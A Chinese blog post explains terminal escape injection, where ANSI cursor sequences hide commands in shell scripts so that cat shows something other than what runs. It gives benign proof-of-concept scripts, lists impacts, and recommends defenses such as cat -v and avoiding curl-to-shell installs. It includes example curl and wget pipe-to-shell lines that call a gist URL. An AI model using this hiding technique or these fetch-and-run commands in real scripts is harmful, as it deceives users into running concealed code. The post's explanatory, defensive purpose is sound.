Terminal Escape Injection

2020-04-22-10.33.50


1
2
3
4
5
#!/bin/bash

echo "evil!"
exit 0
^[[2Aecho "Hello World!"
1
2
3
4
5
#!/bin/bash

open /System/Applications/Calculator.app
exit 0
^[[2Aecho "Hello World!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
1
2
3
4
5
#!/bin/bash

open /System/Applications/Calculator.app
exit 0
^[[2A^[[Kecho "Hello World"

原因

查看文件内容时(cattail),命令遇到了转义字符并执行了转义改变了光标的位置,转义所在行的内容覆盖了(执行转义)转义指定处的内容,呈现在用户眼前的是覆盖后的样子;此脚本被执行,程序正常执行包括恶意代码在内到 exit 的所有内容。看到的内容和执行的内容不同

恶意代码的长度若是超出伪装字符,会出现如下情况(那就^[[K擦除行):

超出伪装字符

影响

  • 任意代码执行(ACE)
  • 在我们的系统上安装后门(RAT)
  • 在我们的系统中植入恶意软件或rootkit
  • 捕捉按键,记录我们的屏幕
  • 几乎所有你能想象到的东西都有(执行恶意文件的用户权限越高,后果越严重)

除了将它们植入到各种脚本中,还可以植入到:

  • 配置文件 – 可能会产生同样的影响(ACE)
  • 日志文件 – 作为侦查绕过工作的一部分

如原博文说的,Linux、macOS、Windows10(TH2之后) ,只要是支持 ANSI/VT 转义序列的终端模拟器都会受影响

如何避免这种攻击

提高安全意识!
提高安全意识!!
提高安全意识!!!

一般从互联网上下载的便捷脚本或配置文件自己多少都会看几眼的吧,那便再多看几眼,这样就可以了

查看文件内容使用 cat -vlessmorevim .(alias cat="cat -v"

1
2
3
4
5
6
7
####### $ more filename.sh #######

#!/bin/sh

open /System/Applications/Calculator.app
exit 0
ESC[2AESC[Kecho "Hello World"

避免仅通过 curl/wget 管道化到 shell 中来安装网络上的脚本或程序

1
curl -fsSL "https://gist.githubusercontent.com/Mr-Potatoz/a0d2306f98cb63b6f1e2b8c12ec6433d/raw/1e427990adc540b8b77d87d31bc490af9aa829e8/install.sh" | /bin/sh
1
sh -c "$(wget -e robots=off -O- https://gist.githubusercontent.com/Mr-Potatoz/a0d2306f98cb63b6f1e2b8c12ec6433d/raw/1e427990adc540b8b77d87d31bc490af9aa829e8/install.sh)"

curl

原博文